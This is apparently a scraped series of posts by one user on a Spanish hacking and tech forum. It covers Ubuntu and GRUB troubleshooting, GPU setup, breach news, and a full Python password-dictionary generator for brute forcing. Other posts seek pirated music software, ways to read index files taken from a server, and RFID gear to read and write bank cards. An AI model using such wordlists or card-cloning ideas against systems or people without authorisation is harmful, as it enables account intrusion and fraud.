    Cuando los quiero aplastar con el dedo saltan bastante, como si fuera una pulga pero no es una pulga porque cuando las aplastas se mueren inmediatamente, son muy delicadas, una pulga no muere aplastandolas porque son duras.
    #66
    Foro Libre / Zapatillas digitales
    12 Febrero 2016, 19:03 PM
    Pues que me he ilucionado muchisimo con estas zapatillas :D las he encontrado una genialidad:

    [youtube=640,360]https://www.youtube.com/watch?v=O5XhzmjUVnk[/youtube]
    #67
    Hola, tengo un amigo que le encanta la música y está intentando conseguirse un software que se llama "komplete 10 ultimate". Lo busqué por torrent, google dorks, etc y nada de nada, pesa algo asi entre 400 y 500 gb.

    Saludos y gracias :)
    #68
    Hacking / Lector para vssver.scc?
    28 Enero 2016, 20:22 PM
    Hola, tengo un par de archivos vssver.scc de un servidor, el tema es que estuve averiguando por internet y se trata de un archivo índice de visual studio para acceder rápidamente a un listado de archivos (o eso entendí).

    El tema es que tengo estos archivos pero no encuentro la herramienta exacta para obtener su contenido. Alguien sabe de alguna herramienta para darle un vistazo?
    #69
    Hola, hice un generador de diccionarios en python, lo pueden descargar desde acá:
    https://github.com/WHK102/whk-dictionary-maker

    Uso:

    whk@machine:~/$ python whk-dict-maker.py
    - WHK Dictionary Maker 1.0, for pentesting purposes.
    - Enter max longitude of word [4]        :
    - Use letters?                [Y/n]      :
    - Use lowercase?              [Y/n]      :
    - Use uppercase?              [y/N]      :
    - Use numbers?                [Y/n]      :
    - Use special chars?          [y/N]      :
    - Filename of dictionary      [dict.txt] :

      Summary                                             
      -----------------------------------------------------
    - Max longitude of word                  : 4
    - Total number of characters to use      : 36
    - Total of words                         : 1,727,604
    - Use letters                            : Yes
    - Use lowercase letters                  : Yes
    - Use uppercase letters                  : No
    - Use numbers                            : Yes
    - Use special chars                      : No
    - Filename of dictionary                 : dict.txt
    - File size estimated of dictionary      : 8.19MB
      -----------------------------------------------------
    - You want to proceed?        [Y/n]      :
    - End!                                                 

    whk@machine:~/$ ls -lah
    total 8,3M
    drwxrwxr-x 3 whk whk 4,0K ene 24 20:24 .
    drwxrwxr-x 4 whk whk 4,0K ene 24 20:09 ..
    -rw-rw-r-- 1 whk whk 8,2M ene 24 20:24 dict.txt
    -rw-rw-r-- 1 whk whk 7,0K ene 24 20:09 whk-dict-maker.py
    whk@machine:~/$


    Código:

    Código (python) [Seleccionar]
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-

    import sys
    import os
    import math

    class MainCLS:

        total_of_words      = 0
        total_of_characters = 0
        current             = 0
        user_longitude      = 0
        user_use_letters    = False
        user_use_lowercase  = False
        user_use_uppercase  = False
        user_use_numbers    = False
        user_use_specials   = False
        user_filename       = ''
        list_string         = ''


        def processWord(self, str):
            self.current = self.current + 1
            self.file_handler.write("%s\n" % str)
            sys.stdout.write("\r- Progress: %d/%d (%s)                " % (self.current, self.total_of_words, str))
            sys.stdout.flush()


        def loop(self, prefix, loops):
            if loops == 0:
                return
           
            last_list = []
            for id_letter in range(0, len(self.list_string)):
                final_str = prefix + self.list_string[id_letter]
                last_list.append(final_str)
                self.processWord(final_str)

            for id_array in range(0, len(last_list)):
                self.loop(last_list[id_array], loops - 1)


        def getInput(self, message, type_inp, default_value):
            inp = raw_input(message)
            inp = inp.strip()

            if inp == '':
                inp = default_value

            if type_inp == 'int':
                try:
                    val = int(inp)
                    if val > -1:
                        return val
                    else:
                        print '- That\'s not an number. Try again.'
                        return self.getInput(message, type_inp, default_value)

                except ValueError:
                    print '- That\'s not an number. Try again.'
                    return self.getInput(message, type_inp, default_value)

            elif type_inp == 'bool':
                if inp.lower() == 'y':
                    return True
                elif inp.lower() == 'n':
                    return False
                else:
                    print '- Please, respond with yes (y) or not (n). Try again.'
                    return self.getInput(message, type_inp, default_value)

            elif type_inp == 'file':
                if os.path.isfile(inp):
                    respond = self.getInput('- The file exists.You want to replace it? [y/N] : ', 'bool', 'n')
                    if respond == False:
                        return self.getInput(message, type_inp, default_value)
                    else:
                        return inp
                else:
                    return inp

            else:
                return inp

        def printSummary(self):
            print '                                                       '
            print '  Summary                                              '
            print '  -----------------------------------------------------'
            print '- Max longitude of word                  : ' + '{0:,}'.format(self.user_max_longitude)
            print '- Total number of characters to use      : ' + '{0:,}'.format(len(self.list_string))
            print '- Total of words                         : ' + '{0:,}'.format(self.total_of_words)

            if self.user_use_letters == True:
                print '- Use letters                            : Yes'
                print '- Use lowercase letters                  : ' + ('Yes' if self.user_use_lowercase  else 'No')
                print '- Use uppercase letters                  : ' + ('Yes' if self.user_use_uppercase  else 'No')
            else:
                print '- Use letters                            : No'


            print '- Use numbers                            : ' + ('Yes' if self.user_use_numbers  else 'No')
            print '- Use special chars                      : ' + ('Yes' if self.user_use_specials else 'No')
            if os.path.isfile(self.user_filename):
                print '- Filename of dictionary                 : ' + self.user_filename + ' (override)'
            else:
                print '- Filename of dictionary                 : ' + self.user_filename

            print '- File size estimated of dictionary      : ' + self.convertSize(self.total_of_characters)
               
            print '  -----------------------------------------------------'
            return self.getInput('- You want to proceed?        [Y/n]      : ', 'bool', 'y')


        def convertSize(self, size, precision=2):
            # size = size + 0.0
            suffixes=['B','KB','MB','GB','TB','PB']
            suffixIndex = 0
            while size > 1024 and suffixIndex < 4:
                suffixIndex += 1 #increment the index of the suffix
                size = size/1024.0 #apply the division
            return ("%.*f%s" % (precision, size, suffixes[suffixIndex]))


        def __init__(self):

            print '- WHK Dictionary Maker 1.0, for pentesting purposes.';
            # self.user_min_longitude = self.getInput('- Enter min longitude of word [0]        : ', 'int',  '0')
            self.user_max_longitude = self.getInput('- Enter max longitude of word [4]        : ', 'int',  '4')

            self.user_use_letters   = self.getInput('- Use letters?                [Y/n]      : ', 'bool', 'y')
            if self.user_use_letters == True:
                self.user_use_lowercase   = self.getInput('- Use lowercase?              [Y/n]      : ', 'bool', 'y')
                self.user_use_uppercase   = self.getInput('- Use uppercase?              [y/N]      : ', 'bool', 'n')

            self.user_use_numbers   = self.getInput('- Use numbers?                [Y/n]      : ', 'bool', 'y')
            self.user_use_specials  = self.getInput('- Use special chars?          [y/N]      : ', 'bool', 'n')
            self.user_filename      = self.getInput('- Filename of dictionary      [dict.txt] : ', 'file', 'dict.txt')

            self.list_string = ''

            if self.user_use_letters == True:

                if self.user_use_lowercase == True:
                    self.list_string = self.list_string + 'abcdefghijklmnopqrstuvwxyz'

                if self.user_use_uppercase == True:
                    self.list_string = self.list_string + 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'

            if self.user_use_numbers == True:
                self.list_string = self.list_string + '0123456789'
           
            if self.user_use_specials == True:
                self.list_string = self.list_string + '\\/\'"@#$%&/()=?¿!¡+-*_.:,;'


            self.total_of_words      = 0
            self.total_of_characters = 0
            for n in range(0, self.user_max_longitude):
                total = (len(self.list_string)**(n + 1))
                self.total_of_words      = self.total_of_words + total
                # (word length * count words) + \n
                self.total_of_characters = self.total_of_characters + (total * (n + 1)) + total

            # Summary
            response = self.printSummary()
            if response == False:
                return

            # Load file
            if os.path.isfile(self.user_filename):
                os.remove(self.user_filename)
            self.file_handler = open(self.user_filename, 'w')

            # Execute all
            self.loop('', self.user_max_longitude)

            # End
            self.file_handler.close()
            print "\r                                                       \r- End!"
       
    if __name__ == '__main__':
        mainCLS = MainCLS()


    Enjoy.
    #70
    Hola, estaba buscando información por internet sin mucho éxito sobre como calcular la cantidad de combinaciones posibles entre objetos, el tema es que ya conozco sobre permutaciones pero no es exactamente lo que busco.

    Lo que he leido son formulas para encontrar la cantidad de combinaciones de una cantidad exacta de objetos con repetición entre ellas, el problema es el siguiente:

    Tengo un generador de diccionario palabras, pero este incluye el carácter inicial sin longitud exacta, por ejemplo:

    Digamos que tengo 26 carácteres (las letras del abecedario), cuales son las posibles combinaciones en 2 carácteres?, algunos dirán 26*26, pues no es así porque 26^2=676 pero en realidad son 702... porque?

    aaa
    aab
    aac
    aad
    aae
    ...

    Ese tipo de combinaciones son factibles, pero en mi caso no es asi:

    a
    b
    c
    ...
    z
    aa
    ab
    ac
    ad

    Entonces incluye el evelado a la cantidad mas el primero que no se contabilizó, o sea ((26*26)+26)

    Ahora si tenemos 3 carácteres deberíamos decir así: 26*26*26, pero en ves de eso es (26*26*26)+(26*26)+26=18278

    Ahora, si lo hacemos con 4 carácteres algunos dirán 26*26*26*26, pero no es así tampoco, realmente es
    (26*26*26*26)+(26*26*26)+(26*26)+26=475254

    Ahora, a alguien se le ocurre como automatizar esto?, actualmente tengo la cantidad de carácteres y la longitud máxima de la palabra, digamos que la cantidad de carácteres son 26 y la longitud máxima son 4, el resultado debería darme 475254, pero como lo hago? existe alguna formula que no conozca aun y que sea conocida para estas situaciones?
    #71
    Hola, he configurado mi nios para que el vide funcione en modo IGD, tiene una ati radeon no integrada y una intel integrada, el problema es que al iniciar el pc no me inicio el sistema, solo inicio por terminal y una sola pantalla (la radeon) diciendo que fue imposible detectar la configuracion grafica.

    El tema es que averiguando por internet ejecuté el comando aticonfig --initial y aticonfig --px-dgpu y por lo menos ahora tengo imagen en el monitor que está conectado a la tarjeta ati, pero ahora como puedo hacer para que de imagen la que está conectada a la integrada intel?

    Cuando apago el pc aparece el splash de ubuntu en el monitor que está conectado en la tarjeta de intel xD, cuando abro las configuraciones de pantalla me muestra que solo tengo un monitor conectado, le doy en autodetectar y nada, solo dice que tengo una la que está conectada a la ati.

    ¿Que puedo hacer?
    #72
    Un hacker intentó enviar un mensaje de móvil con el texto "muerte a los EE.UU., muerte a los judíos" a cuatro millones de personas mediante la explotación de la red de una compañía global de comunicaciones, según publica The Guardian .

    La investigación, llevada a cabo por el mismo rotativo, reveló que en 2013 se detectó un hackeo en los sistemas de SMSGlobal, una compañía de servicio de mensajería con millones de usuarios en todo el mundo con clientes tan importantes como Nestle Waters, Serco, Etihad Airways, Emirates Transporte, Tecom, Samsung, Microsoft, IBM y Dell.

    En abril de este mismo año, un pirata informático cuya identidad todavía se desconoce trató de enviar a cuatro millones de teléfonos de Oriente Medio el mensaje "Nuestro eterno lema. Muerte a EE.UU., muerte a los judíos". La compañía logró bloquear la mayoría de los SMS, pero cerca de 5.000 fueron enviados en Emiratos Árabes Unidos.

    El robo de datos en 2013 fue el motivo del incidente, puesto que los clientes que no habían cambiado sus contraseñas, consideradas potencialmente vulnerables.

    La compañía alertó a sus clientes con una carta a la que 'The Guardian' tuvo acceso, y en la que explicaba las medidas que SMSGlobal había tomado y advertía del riesgo de futuros episodios en los que la privacidad de las cuentas podía verse comprometida. Además, enumeró una serie de medidas que había adoptado para remediar futuros episodios de filtración de contenidos, y aconsejó cambiar las contraseñas.

    La empresa de comunicaciones ha asegurado a los afectados que utilizara "todos los medios razonables para proteger los datos de los clientes de la destrucción, pérdida, alteración o violación de seguridad".

    Fuentes:

    http://www.lavanguardia.com/internacional/20151201/30511462880/hacker-mensajes-amenazando-muerte-judios.html
    http://www.theguardian.com/technology/2015/dec/01/hacker-sent-death-to-the-jews-text-messages-after-breach-in-phone-network
    #73
    Hacking / Cómo comprar un lector grabador RDFI?
    4 Noviembre 2015, 20:37 PM
    Hola, me gustaría hacer pruebas con los chips RDFI pero mi duda es... son todas universales? ya que por ejemplo se que estan los chips mifare y el samsung galaxy s4 no lee los chips mifare porque cambiaron de compañía fabricante y ya no son compatibles.

    Me gustaría poder ler/escribir tarjetas bancarias, credenciales de acceso y el famoso bip que por lo que describen es mifare classic de 1k, servirán todas? o solo algunas?

    Me di una vuelta por mercadolibre pero no se si todas funcionaran igual. Quiero hundirme mas en el tema del RDFI y el NFC.

    Gracias.
    #74
    Hola, alguien conoce algun buen notebook que funcione bien con debian o ubuntu para utilizar el adaptador de red para ponerlo en modo monitor? ya que he leido que no todos los adaptadores sirven y me gustaría que fuera i5 o algo así, pero si no se que modelos son compatibles no sabría que elegir.

    Saludos.
    #75
    Hola, alguien conoce algun pendrive que utilice algun tipo de cifrado por hardware para temas de transporte seguro de datos?, estos necesariamente dependen del uso del sistema operativo para ingresar al contenido? ya que necesito usar uno en un pc con windows y otro con debian.
    #76
    Hola, tengo un robot hecho en php y quiero que sus conexiones de salida salgan a traves de la red de tor y para eso he instalado el proxy tor via terminal y al arrancar sirve a traves del puerto 9050 via socks5, el problema es que php de manera nativa file_get_contents solo soporta proxys http y https pero no socks4 ni 5.

    Mi duda es: Cómo puedo hacer para levantar un proxy http en localhost a cualquier puerto que finalmente se conecte a localhost 9050 via socks5 y hacer una especie de tunnel?

    Para esto estoy usando un desktop viejo con ubuntu.

    Hay alguna manera de configurar tor para que funcione via proxy web https en ves de socks5?
    #77
    Este miércoles 21 de octubre de 2015 se cumple la fecha en la que Emmett Brown viajó junto a su discípulo años hacia adelante.



    Sin lugar a dudas las locas historias de Marty McFly y el loco doctor Emmet Brown marcaron las vidas de toda una generación que soñó tanto en ir al futuro como viajar al pasado.

    Pizzas que crecen en el microondas, ropa inteligente, autos voladores, entre otros, fueron las cosas que marcaron la saga del director y guionista Robert Zemeckis "Volver al Futuro".

    Pero un grupo de australiano quiso mostrar que el presente 21 de octubre de 2015 será bastante menos glamoroso que la imaginación del director, y que si Marty hubiese llegado a nuestro futuro, probablemente no se habría sorprendido demasiado.

    El video creado por la web Junkee, ya cuenta con más de 10 millones de reproducciones en Facebook y ha sido compartido 133.767 veces.

    A continuación te dejamos el paradójico video:

    https://www.facebook.com/junkeedotcom/videos/792235150888951/

    Fuente: http://www.ahoranoticias.cl/entretenimiento/cine/156366-espectacular-futuro-de-marty-mcfly-es-contrarrestado-por-el-verdadero-presente.html
    #78
    GNU/Linux / No puedo iniciar el sistema en ubuntu
    16 Octubre 2015, 17:11 PM
    Hola, hoy he actualizado ubuntu de 14.10 a 15.04, el problema es que al finalizar reinicié el pc y me inició en modo tty1, nada funcionaba porque los archivos estaban en modo lectura, asi que reinicie y desde el grub seleccioné linux recovery mode, ahi inicie el bash como root y monté el disco con mount -o remount /  traté de reinstalar ubuntu-desktop, el problema es que me decia que no se podia conectar a ubuntu.com asi que me di cuenta que la red no estaba funcionando asi que ejecuté ifup eth0 pero me decia error getting authority g-io-error-quark-1, averigué y es un error común al actualizar a ubuntu 15, según lei es un error al montar un disco pero ahi quedé perdido xD

    Ahora lo que hice fue reiniciar otraves y seleccioné la opcion "Opciones avanzadas para Ubuntu" y despues "upstart" y ahi pude aceder normalmente.
    También me di cuenta que en el grub al seleccionar las opciones alternativas de ubuntu aparecen muchas versiones de linux, por lo menos unas 7 u 8.

    ¿Alguien me puede dar una mano por favor?

    Este es mi grub:
    #
    # DO NOT EDIT THIS FILE
    #
    # It is automatically generated by grub-mkconfig using templates
    # from /etc/grub.d and settings from /etc/default/grub
    #

    ### BEGIN /etc/grub.d/00_header ###
    if [ -s $prefix/grubenv ]; then
     set have_grubenv=true
     load_env
    fi
    if [ "${next_entry}" ] ; then
      set default="${next_entry}"
      set next_entry=
      save_env next_entry
      set boot_once=true
    else
      set default="0"
    fi

    if [ x"${feature_menuentry_id}" = xy ]; then
     menuentry_id_option="--id"
    else
     menuentry_id_option=""
    fi

    export menuentry_id_option

    if [ "${prev_saved_entry}" ]; then
     set saved_entry="${prev_saved_entry}"
     save_env saved_entry
     set prev_saved_entry=
     save_env prev_saved_entry
     set boot_once=true
    fi

    function savedefault {
     if [ -z "${boot_once}" ]; then
       saved_entry="${chosen}"
       save_env saved_entry
     fi
    }
    function recordfail {
     set recordfail=1
     if [ -n "${have_grubenv}" ]; then if [ -z "${boot_once}" ]; then save_env recordfail; fi; fi
    }
    function load_video {
     if [ x$feature_all_video_module = xy ]; then
       insmod all_video
     else
       insmod efi_gop
       insmod efi_uga
       insmod ieee1275_fb
       insmod vbe
       insmod vga
       insmod video_bochs
       insmod video_cirrus
     fi
    }

    if [ x$feature_default_font_path = xy ] ; then
      font=unicode
    else
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
       font="/usr/share/grub/unicode.pf2"
    fi

    if loadfont $font ; then
     set gfxmode=auto
     load_video
     insmod gfxterm
     set locale_dir=$prefix/locale
     set lang=es_CL
     insmod gettext
    fi
    terminal_output gfxterm
    if [ "${recordfail}" = 1 ] ; then
     set timeout=30
    else
     if [ x$feature_timeout_style = xy ] ; then
       set timeout_style=hidden
       set timeout=0
     # Fallback hidden-timeout code in case the timeout_style feature is
     # unavailable.
     elif sleep --interruptible 0 ; then
       set timeout=0
     fi
    fi
    ### END /etc/grub.d/00_header ###

    ### BEGIN /etc/grub.d/05_debian_theme ###
    set menu_color_normal=white/black
    set menu_color_highlight=black/light-gray
    if background_color 44,0,30,0; then
     clear
    fi
    ### END /etc/grub.d/05_debian_theme ###

    ### BEGIN /etc/grub.d/10_linux ###
    function gfxmode {
    set gfxpayload="${1}"
    if [ "${1}" = "keep" ]; then
    set vt_handoff=vt.handoff=7
    else
    set vt_handoff=
    fi
    }
    set linux_gfx_mode=None
    export linux_gfx_mode
    menuentry 'Ubuntu' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    linux /boot/vmlinuz-3.19.0-30-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff
    initrd /boot/initrd.img-3.19.0-30-generic
    }
    submenu 'Opciones avanzadas para Ubuntu' $menuentry_id_option 'gnulinux-advanced-13007919-6a08-40cb-86bf-5555696ebe4e' {
    menuentry 'Ubuntu, con Linux 3.19.0-30-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.19.0-30-generic-advanced-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.19.0-30-generic ...'
    linux /boot/vmlinuz-3.19.0-30-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.19.0-30-generic
    }
    menuentry 'Ubuntu, with Linux 3.19.0-30-generic (upstart)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.19.0-30-generic-init-upstart-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.19.0-30-generic ...'
    linux /boot/vmlinuz-3.19.0-30-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff init=/sbin/upstart
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.19.0-30-generic
    }
    menuentry 'Ubuntu, with Linux 3.19.0-30-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.19.0-30-generic-recovery-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.19.0-30-generic ...'
    linux /boot/vmlinuz-3.19.0-30-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro recovery nomodeset
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.19.0-30-generic
    }
    menuentry 'Ubuntu, con Linux 3.16.0-44-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.16.0-44-generic-advanced-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.16.0-44-generic ...'
    linux /boot/vmlinuz-3.16.0-44-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.16.0-44-generic
    }
    menuentry 'Ubuntu, with Linux 3.16.0-44-generic (upstart)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.16.0-44-generic-init-upstart-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.16.0-44-generic ...'
    linux /boot/vmlinuz-3.16.0-44-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff init=/sbin/upstart
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.16.0-44-generic
    }
    menuentry 'Ubuntu, with Linux 3.16.0-44-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.16.0-44-generic-recovery-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.16.0-44-generic ...'
    linux /boot/vmlinuz-3.16.0-44-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro recovery nomodeset
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.16.0-44-generic
    }
    menuentry 'Ubuntu, con Linux 3.16.0-43-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.16.0-43-generic-advanced-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.16.0-43-generic ...'
    linux /boot/vmlinuz-3.16.0-43-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.16.0-43-generic
    }
    menuentry 'Ubuntu, with Linux 3.16.0-43-generic (upstart)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.16.0-43-generic-init-upstart-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.16.0-43-generic ...'
    linux /boot/vmlinuz-3.16.0-43-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff init=/sbin/upstart
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.16.0-43-generic
    }
    menuentry 'Ubuntu, with Linux 3.16.0-43-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.16.0-43-generic-recovery-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.16.0-43-generic ...'
    linux /boot/vmlinuz-3.16.0-43-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro recovery nomodeset
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.16.0-43-generic
    }
    menuentry 'Ubuntu, con Linux 3.16.0-41-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.16.0-41-generic-advanced-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.16.0-41-generic ...'
    linux /boot/vmlinuz-3.16.0-41-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.16.0-41-generic
    }
    menuentry 'Ubuntu, with Linux 3.16.0-41-generic (upstart)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.16.0-41-generic-init-upstart-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
